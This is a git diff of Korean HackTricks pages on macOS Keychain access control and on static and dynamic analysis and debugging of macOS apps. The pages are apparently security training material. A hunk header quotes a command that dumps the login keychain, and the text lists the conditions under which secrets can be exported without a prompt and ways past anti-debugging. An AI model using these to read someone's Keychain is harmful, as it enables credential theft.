|
|
||||||
### 키체인 항목 생성
|
### Creating a Keychain Entry
|
||||||
|
|
||||||
**`Keychain Access.app`**를 사용하여 **새로운** **항목**이 생성될 때 다음 규칙이 적용됩니다:
|
**`Keychain Access.app`**를 사용하여 **새로운** **항목**이 생성될 때 다음 규칙이 적용됩니다:
|
||||||
|
|
||||||
* 모든 앱이 암호화할 수 있습니다.
|
* 모든 앱이 암호화할 수 있습니다.
|
||||||
* **어떤 앱도** 내보내기/복호화할 수 없습니다 (사용자에게 요청 없이).
|
* **아무 앱도** 내보내기/복호화할 수 없습니다(사용자에게 요청하지 않고).
|
||||||
* 모든 앱이 무결성 검사를 볼 수 있습니다.
|
* 모든 앱이 무결성 검사를 볼 수 있습니다.
|
||||||
* 어떤 앱도 ACL을 변경할 수 없습니다.
|
* 아무 앱도 ACL을 변경할 수 없습니다.
|
||||||
* **partitionID**는 **`apple`**로 설정됩니다.
|
* **partitionID**는 **`apple`**로 설정됩니다.
|
||||||
|
|
||||||
**애플리케이션이 키체인에 항목을 생성할 때** 규칙은 약간 다릅니다:
|
**애플리케이션이 키체인에 항목을 생성할 때** 규칙은 약간 다릅니다:
|
||||||
|
|
||||||
* 모든 앱이 암호화할 수 있습니다.
|
* 모든 앱이 암호화할 수 있습니다.
|
||||||
* 오직 **생성 애플리케이션**(또는 명시적으로 추가된 다른 앱)만이 내보내기/복호화할 수 있습니다 (사용자에게 요청 없이).
|
* 오직 **생성 애플리케이션**(또는 명시적으로 추가된 다른 앱)만이 내보내기/복호화할 수 있습니다(사용자에게 요청하지 않고).
|
||||||
* 모든 앱이 무결성 검사를 볼 수 있습니다.
|
* 모든 앱이 무결성 검사를 볼 수 있습니다.
|
||||||
* 어떤 앱도 ACL을 변경할 수 없습니다.
|
* 아무 앱도 ACL을 변경할 수 없습니다.
|
||||||
* **partitionID**는 **`teamid:[teamID here]`**로 설정됩니다.
|
* **partitionID**는 **`teamid:[teamID here]`**로 설정됩니다.
|
||||||
|
|
||||||
## Accessing the Keychain
|
## Accessing the Keychain
|
||||||
|
@ -117,7 +104,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
||||||
* API **`SecAccessCopyACLList`**를 사용하여 **키체인 항목의 ACL**을 가져올 수 있으며, 각 목록에는 다음과 같은 ACL 목록이 반환됩니다 (예: `ACLAuhtorizationExportClear` 및 이전에 언급된 다른 항목들):
|
* API **`SecAccessCopyACLList`**를 사용하여 **키체인 항목의 ACL**을 가져올 수 있으며, 각 목록에는 다음과 같은 ACL 목록이 반환됩니다 (예: `ACLAuhtorizationExportClear` 및 이전에 언급된 다른 항목들):
|
||||||
* 설명
|
* 설명
|
||||||
* **신뢰할 수 있는 애플리케이션 목록**. 이는 다음과 같을 수 있습니다:
|
* **신뢰할 수 있는 애플리케이션 목록**. 이는 다음과 같을 수 있습니다:
|
||||||
* 애플리케이션: /Applications/Slack.app
|
* 앱: /Applications/Slack.app
|
||||||
* 바이너리: /usr/libexec/airportd
|
* 바이너리: /usr/libexec/airportd
|
||||||
* 그룹: group://AirPort
|
* 그룹: group://AirPort
|
||||||
|
|
||||||
|
@ -128,10 +115,10 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
||||||
|
|
||||||
그리고 **프롬프트 없이 비밀을 내보내기 위한 요구 사항**은 다음과 같습니다:
|
그리고 **프롬프트 없이 비밀을 내보내기 위한 요구 사항**은 다음과 같습니다:
|
||||||
|
|
||||||
* **1개 이상의 신뢰할 수 있는** 애플리케이션이 나열된 경우:
|
* **1개 이상의 신뢰할 수 있는** 앱이 나열된 경우:
|
||||||
* 적절한 **권한**이 필요합니다 (**`Nil`**, 또는 비밀 정보에 접근하기 위한 권한의 허용 목록에 **포함**되어야 함)
|
* 적절한 **권한**이 필요합니다 (**`Nil`**, 또는 비밀 정보에 접근하기 위한 권한의 허용 목록에 **포함**되어야 함)
|
||||||
* 코드 서명이 **PartitionID**와 일치해야 합니다
|
* 코드 서명이 **PartitionID**와 일치해야 합니다
|
||||||
* 코드 서명이 하나의 **신뢰할 수 있는 애플리케이션**과 일치해야 합니다 (또는 올바른 KeychainAccessGroup의 구성원이어야 함)
|
* 코드 서명이 하나의 **신뢰할 수 있는 앱**과 일치해야 합니다 (또는 올바른 KeychainAccessGroup의 구성원이어야 함)
|
||||||
* **모든 애플리케이션이 신뢰할 수 있는 경우**:
|
* **모든 애플리케이션이 신뢰할 수 있는 경우**:
|
||||||
* 적절한 **권한**이 필요합니다
|
* 적절한 **권한**이 필요합니다
|
||||||
* 코드 서명이 **PartitionID**와 일치해야 합니다
|
* 코드 서명이 **PartitionID**와 일치해야 합니다
|
||||||
|
@ -153,29 +140,18 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
||||||
|
|
||||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,21 +15,8 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## 정적 분석
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Static Analysis
|
|
||||||
|
|
||||||
### otool & objdump & nm
|
### otool & objdump & nm
|
||||||
```bash
|
```bash
|
||||||
|
@ -115,11 +102,11 @@ ldid -S/tmp/entl.xml <binary>
|
||||||
### SuspiciousPackage
|
### SuspiciousPackage
|
||||||
|
|
||||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)는 **.pkg** 파일(설치 프로그램)을 검사하고 설치하기 전에 내부 내용을 확인하는 데 유용한 도구입니다.\
|
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)는 **.pkg** 파일(설치 프로그램)을 검사하고 설치하기 전에 내부 내용을 확인하는 데 유용한 도구입니다.\
|
||||||
이 설치 프로그램에는 맬웨어 작성자가 일반적으로 **persist** **the** **malware**를 악용하는 `preinstall` 및 `postinstall` bash 스크립트가 포함되어 있습니다.
|
이 설치 프로그램에는 맬웨어 작성자가 일반적으로 **맬웨어**를 **지속**하기 위해 악용하는 `preinstall` 및 `postinstall` bash 스크립트가 포함되어 있습니다.
|
||||||
|
|
||||||
### hdiutil
|
### hdiutil
|
||||||
|
|
||||||
이 도구는 Apple 디스크 이미지(**.dmg**) 파일을 **mount**하여 실행하기 전에 검사할 수 있도록 합니다:
|
이 도구는 Apple 디스크 이미지(**.dmg**) 파일을 **마운트**하여 실행하기 전에 검사할 수 있도록 합니다:
|
||||||
```bash
|
```bash
|
||||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||||
```
|
```
|
||||||
|
@ -154,7 +141,7 @@ Objective-C를 사용하는 이진 파일에서 함수가 호출될 때, 컴파
|
||||||
|
|
||||||
이 함수가 기대하는 매개변수는 다음과 같습니다:
|
이 함수가 기대하는 매개변수는 다음과 같습니다:
|
||||||
|
|
||||||
* 첫 번째 매개변수 (**self**)는 "메시지를 받을 **클래스의 인스턴스를 가리키는 포인터**"입니다. 더 간단히 말하면, 이는 메서드가 호출되는 객체입니다. 메서드가 클래스 메서드인 경우, 이는 클래스 객체의 인스턴스(전체)이며, 인스턴스 메서드의 경우, self는 클래스의 인스턴스화된 객체를 가리킵니다.
|
* 첫 번째 매개변수 (**self**)는 "메시지를 받을 **클래스의 인스턴스를 가리키는 포인터**"입니다. 더 간단히 말하면, 메서드가 호출되는 객체입니다. 메서드가 클래스 메서드인 경우, 이는 클래스 객체의 인스턴스(전체)이며, 인스턴스 메서드의 경우, self는 클래스의 인스턴스화된 객체를 가리킵니다.
|
||||||
* 두 번째 매개변수 (**op**)는 "메시지를 처리하는 메서드의 선택자"입니다. 다시 말해, 이는 단순히 **메서드의 이름**입니다.
|
* 두 번째 매개변수 (**op**)는 "메시지를 처리하는 메서드의 선택자"입니다. 다시 말해, 이는 단순히 **메서드의 이름**입니다.
|
||||||
* 나머지 매개변수는 메서드(op)에 의해 필요한 **값들**입니다.
|
* 나머지 매개변수는 메서드(op)에 의해 필요한 **값들**입니다.
|
||||||
|
|
||||||
|
@ -180,13 +167,13 @@ x64:
|
||||||
|
|
||||||
### Dynadump
|
### Dynadump
|
||||||
|
|
||||||
[**Dynadump**](https://github.com/DerekSelander/dynadump)는 Objective-C 이진 파일을 클래스 덤프하는 도구입니다. GitHub에서는 dylibs를 명시하지만, 실행 파일에서도 작동합니다.
|
[**Dynadump**](https://github.com/DerekSelander/dynadump)는 Objective-C 이진 파일을 클래스 덤프하는 도구입니다. GitHub에서는 dylibs를 명시하지만, 실행 파일에도 작동합니다.
|
||||||
```bash
|
```bash
|
||||||
./dynadump dump /path/to/bin
|
./dynadump dump /path/to/bin
|
||||||
```
|
```
|
||||||
At the time of the writing, this is **현재 가장 잘 작동하는 것**.
|
At the time of the writing, this is **현재 가장 잘 작동하는 것**.
|
||||||
|
|
||||||
#### Regular tools
|
#### 일반 도구
|
||||||
```bash
|
```bash
|
||||||
nm --dyldinfo-only /path/to/bin
|
nm --dyldinfo-only /path/to/bin
|
||||||
otool -ov /path/to/bin
|
otool -ov /path/to/bin
|
||||||
|
@ -240,7 +227,7 @@ swift demangle
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
macOS에서 **시스템 이진 파일**(예: `cloudconfigurationd`)을 **계측**하려면 **SIP를 비활성화해야** 합니다 (서명만 제거하는 것은 작동하지 않습니다).
|
macOS에서 **시스템 이진 파일**(예: `cloudconfigurationd`)을 **계측**하려면 **SIP를 비활성화해야** 합니다 (서명만 제거하는 것으로는 작동하지 않습니다).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### API
|
### API
|
||||||
|
@ -270,13 +257,13 @@ macOS는 프로세스에 대한 정보를 제공하는 몇 가지 흥미로운 A
|
||||||
|
|
||||||
MacOS는 애플리케이션을 실행할 때 **무엇을 하고 있는지** 이해하는 데 매우 유용할 수 있는 많은 로그를 생성합니다.
|
MacOS는 애플리케이션을 실행할 때 **무엇을 하고 있는지** 이해하는 데 매우 유용할 수 있는 많은 로그를 생성합니다.
|
||||||
|
|
||||||
또한, `<private>` 태그가 포함된 로그가 있어 **사용자** 또는 **컴퓨터** **식별 가능한** 정보를 **숨깁니다**. 그러나 이 정보를 **공개하기 위해 인증서를 설치할 수 있습니다**. [**여기**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)에서 설명을 따르세요.
|
게다가, `<private>` 태그가 포함된 로그가 있어 **사용자** 또는 **컴퓨터** **식별 가능한** 정보를 **숨깁니다**. 그러나 이 정보를 **공개하기 위해 인증서를 설치할 수 있습니다**. [**여기**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)에서 설명을 따르세요.
|
||||||
|
|
||||||
### 호퍼
|
### 호퍼
|
||||||
|
|
||||||
#### 왼쪽 패널
|
#### 왼쪽 패널
|
||||||
|
|
||||||
호퍼의 왼쪽 패널에서는 이진 파일의 기호(**Labels**), 절차 및 함수 목록(**Proc**), 문자열(**Str**)을 볼 수 있습니다. 이들은 모든 문자열이 아니라 Mac-O 파일의 여러 부분에서 정의된 문자열입니다 (예: _cstring 또는_ `objc_methname`).
|
호퍼의 왼쪽 패널에서는 이진 파일의 기호(**Labels**), 절차 및 함수 목록(**Proc**), 문자열(**Str**)을 볼 수 있습니다. 이들은 모든 문자열이 아니라 Mac-O 파일의 여러 부분(예: _cstring 또는_ `objc_methname`)에 정의된 문자열입니다.
|
||||||
|
|
||||||
#### 중간 패널
|
#### 중간 패널
|
||||||
|
|
||||||
|
@ -392,11 +379,11 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||||
|
|
||||||
이 정보를 얻기 위해 Apple 도구 **`trace`** 또는 커스텀 도구 [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**를 사용할 수 있습니다.**
|
이 정보를 얻기 위해 Apple 도구 **`trace`** 또는 커스텀 도구 [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**를 사용할 수 있습니다.**
|
||||||
|
|
||||||
**Kdebug는 한 번에 1명의 고객만 사용할 수 있습니다.** 따라서 동시에 하나의 k-debug 기반 도구만 실행할 수 있습니다.
|
**Kdebug는 한 번에 1명의 고객만 사용할 수 있습니다.** 따라서 동시에 실행할 수 있는 k-debug 기반 도구는 하나뿐입니다.
|
||||||
|
|
||||||
### ktrace
|
### ktrace
|
||||||
|
|
||||||
`ktrace_*` API는 `libktrace.dylib`에서 제공되며, 이는 `Kdebug`의 래퍼입니다. 클라이언트는 `ktrace_session_create` 및 `ktrace_events_[single/class]`를 호출하여 특정 코드에 대한 콜백을 설정한 다음 `ktrace_start`로 시작할 수 있습니다.
|
`ktrace_*` API는 `libktrace.dylib`에서 제공되며, 이는 `Kdebug`의 래퍼입니다. 그런 다음 클라이언트는 `ktrace_session_create` 및 `ktrace_events_[single/class]`를 호출하여 특정 코드에 대한 콜백을 설정하고 `ktrace_start`로 시작할 수 있습니다.
|
||||||
|
|
||||||
**SIP가 활성화된 상태에서도 이 도구를 사용할 수 있습니다.**
|
**SIP가 활성화된 상태에서도 이 도구를 사용할 수 있습니다.**
|
||||||
|
|
||||||
|
@ -422,7 +409,7 @@ Kperf에는 sysctl MIB 테이블도 있습니다: (루트로) `sysctl kperf`.
|
||||||
|
|
||||||
### SpriteTree
|
### SpriteTree
|
||||||
|
|
||||||
[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간의 관계를 인쇄하는 도구입니다.\
|
[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간의 관계를 출력하는 도구입니다.\
|
||||||
**`sudo eslogger fork exec rename create > cap.json`**와 같은 명령으로 Mac을 모니터링해야 합니다(이를 실행하는 터미널은 FDA가 필요합니다). 그런 다음 이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:
|
**`sudo eslogger fork exec rename create > cap.json`**와 같은 명령으로 Mac을 모니터링해야 합니다(이를 실행하는 터미널은 FDA가 필요합니다). 그런 다음 이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
@ -455,7 +442,7 @@ fs_usage -w -f network curl #This tracks network actions
|
||||||
|
|
||||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||||
|
|
||||||
[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 **`PT_DENY_ATTACH`**를 사용하여 디버깅을 방지하는 **실행 중인 데몬**을 **디버깅하는** 방법에 대한 예제를 찾을 수 있습니다.
|
[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 **SIP가 비활성화되더라도 디버깅을 방지하기 위해 `PT_DENY_ATTACH`**를 사용한 실행 중인 데몬을 **디버깅하는 방법**에 대한 예제를 찾을 수 있습니다.
|
||||||
|
|
||||||
### lldb
|
### lldb
|
||||||
|
|
||||||
|
@ -474,7 +461,7 @@ settings set target.x86-disassembly-flavor intel
|
||||||
lldb 내부에서 `process save-core`로 프로세스를 덤프합니다.
|
lldb 내부에서 `process save-core`로 프로세스를 덤프합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 명령어</strong></td><td><strong>설명</strong></td></tr><tr><td><strong>run (r)</strong></td><td>중단점에 도달하거나 프로세스가 종료될 때까지 계속 실행을 시작합니다.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>진입점에서 중단하며 실행을 시작합니다.</td></tr><tr><td><strong>continue (c)</strong></td><td>디버깅 중인 프로세스의 실행을 계속합니다.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>다음 명령어를 실행합니다. 이 명령어는 함수 호출을 건너뜁니다.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>다음 명령어를 실행합니다. nexti 명령어와 달리 이 명령어는 함수 호출로 들어갑니다.</td></tr><tr><td><strong>finish (f)</strong></td><td>현재 함수(“프레임”)의 나머지 명령어를 실행하고 반환 후 중단합니다.</td></tr><tr><td><strong>control + c</strong></td><td>실행을 일시 중지합니다. 프로세스가 실행(run)되었거나 계속(continue)되었으면, 현재 실행 중인 위치에서 프로세스가 중단됩니다.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> # main이라는 이름의 함수</p><p><code>b <binname>`main</code> # 바이너리의 main 함수</p><p><code>b set -n main --shlib <lib_name></code> # 지정된 바이너리의 main 함수</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> # 모든 NSFileManager 메서드</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # 해당 라이브러리의 모든 함수에서 중단</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> # 중단점 목록</p><p><code>br e/dis <num></code> # 중단점 활성화/비활성화</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # 중단점 명령어 도움말</p><p>help memory write # 메모리에 쓰기 도움말</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>메모리를 null로 종료된 문자열로 표시합니다.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>메모리를 어셈블리 명령어로 표시합니다.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>메모리를 바이트로 표시합니다.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>이 명령어는 매개변수로 참조된 객체를 출력합니다.</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>대부분의 Apple의 Objective-C API 또는 메서드는 객체를 반환하므로 “print object” (po) 명령어를 통해 표시해야 합니다. po가 의미 있는 출력을 생성하지 않으면 <code>x/b</code>를 사용하세요.</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기<br>memory write -f s $rip+0x11f+7 "AAAA" # 해당 주소에 AAAA 쓰기</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 현재 함수의 디스어셈블리</p><p>dis -n <funcname> # 함수의 디스어셈블리</p><p>dis -n <funcname> -b <basename> # 함수의 디스어셈블리<br>dis -c 6 # 6줄 디스어셈블리<br>dis -c 0x100003764 -e 0x100003768 # 한 주소에서 다른 주소까지<br>dis -p -c 4 # 현재 주소에서 디스어셈블리 시작</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인</td></tr><tr><td><strong>image dump sections</strong></td><td>현재 프로세스 메모리의 맵을 출력합니다.</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> # CoreNLP의 모든 기호 주소 가져오기</td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 명령어</strong></td><td><strong>설명</strong></td></tr><tr><td><strong>run (r)</strong></td><td>중단점에 도달하거나 프로세스가 종료될 때까지 계속 실행을 시작합니다.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>진입점에서 중단하며 실행을 시작합니다.</td></tr><tr><td><strong>continue (c)</strong></td><td>디버깅 중인 프로세스의 실행을 계속합니다.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>다음 명령어를 실행합니다. 이 명령어는 함수 호출을 건너뜁니다.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>다음 명령어를 실행합니다. nexti 명령어와 달리 이 명령어는 함수 호출로 들어갑니다.</td></tr><tr><td><strong>finish (f)</strong></td><td>현재 함수(“프레임”)의 나머지 명령어를 실행하고 반환 후 중단합니다.</td></tr><tr><td><strong>control + c</strong></td><td>실행을 일시 중지합니다. 프로세스가 실행(run)되었거나 계속(continue)되었다면, 현재 실행 중인 위치에서 프로세스가 중단됩니다.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> # main이라는 이름의 함수</p><p><code>b <binname>`main</code> # 바이너리의 main 함수</p><p><code>b set -n main --shlib <lib_name></code> # 지정된 바이너리의 main 함수</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> # 모든 NSFileManager 메서드</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # 해당 라이브러리의 모든 함수에서 중단</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> # 중단점 목록</p><p><code>br e/dis <num></code> # 중단점 활성화/비활성화</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # 중단점 명령어 도움말</p><p>help memory write # 메모리에 쓰기 위한 도움말</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>메모리를 null로 종료된 문자열로 표시합니다.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>메모리를 어셈블리 명령어로 표시합니다.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>메모리를 바이트로 표시합니다.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>이 명령어는 매개변수로 참조된 객체를 출력합니다.</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>대부분의 Apple의 Objective-C API 또는 메서드는 객체를 반환하므로 “print object” (po) 명령어를 통해 표시해야 합니다. po가 의미 있는 출력을 생성하지 않으면 <code>x/b</code>를 사용하세요.</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기<br>memory write -f s $rip+0x11f+7 "AAAA" # 해당 주소에 AAAA 쓰기</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 현재 함수의 디스어셈블리</p><p>dis -n <funcname> # 함수의 디스어셈블리</p><p>dis -n <funcname> -b <basename> # 함수의 디스어셈블리<br>dis -c 6 # 6줄 디스어셈블리<br>dis -c 0x100003764 -e 0x100003768 # 한 주소에서 다른 주소까지<br>dis -p -c 4 # 현재 주소에서 디스어셈블리 시작</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인</td></tr><tr><td><strong>image dump sections</strong></td><td>현재 프로세스 메모리의 맵을 출력합니다.</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> # CoreNLP의 모든 기호 주소 가져오기</td></tr></tbody></table>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**`objc_sendMsg`** 함수를 호출할 때, **rsi** 레지스터는 null로 종료된 (“C”) 문자열로서 **메서드의 이름**을 보유합니다. lldb를 통해 이름을 출력하려면 다음과 같이 하세요:
|
**`objc_sendMsg`** 함수를 호출할 때, **rsi** 레지스터는 null로 종료된 (“C”) 문자열로서 **메서드의 이름**을 보유합니다. lldb를 통해 이름을 출력하려면 다음과 같이 하세요:
|
||||||
|
@ -499,7 +486,7 @@ lldb 내부에서 `process save-core`로 프로세스를 덤프합니다.
|
||||||
* **`ptrace`** 시스템 호출을 **`PT_DENY_ATTACH`** 플래그와 함께 호출할 수도 있습니다. 이는 디버거가 연결하고 추적하는 것을 **방지**합니다.
|
* **`ptrace`** 시스템 호출을 **`PT_DENY_ATTACH`** 플래그와 함께 호출할 수도 있습니다. 이는 디버거가 연결하고 추적하는 것을 **방지**합니다.
|
||||||
* **`sysctl`** 또는 **`ptrace`** 함수가 **가져와지는지** 확인할 수 있습니다 (하지만 악성코드는 동적으로 가져올 수 있습니다).
|
* **`sysctl`** 또는 **`ptrace`** 함수가 **가져와지는지** 확인할 수 있습니다 (하지만 악성코드는 동적으로 가져올 수 있습니다).
|
||||||
* 이 글에서 언급된 바와 같이, “[디버그 방지 기술 무력화: macOS ptrace 변형](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
* 이 글에서 언급된 바와 같이, “[디버그 방지 기술 무력화: macOS ptrace 변형](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||||
“_Process # exited with **status = 45 (0x0000002d)** 메시지는 디버그 대상이 **PT\_DENY\_ATTACH**를 사용하고 있다는 신호입니다._”
|
“_메시지 Process # exited with **status = 45 (0x0000002d)**는 디버그 대상이 **PT\_DENY\_ATTACH**를 사용하고 있다는 신호입니다._”
|
||||||
|
|
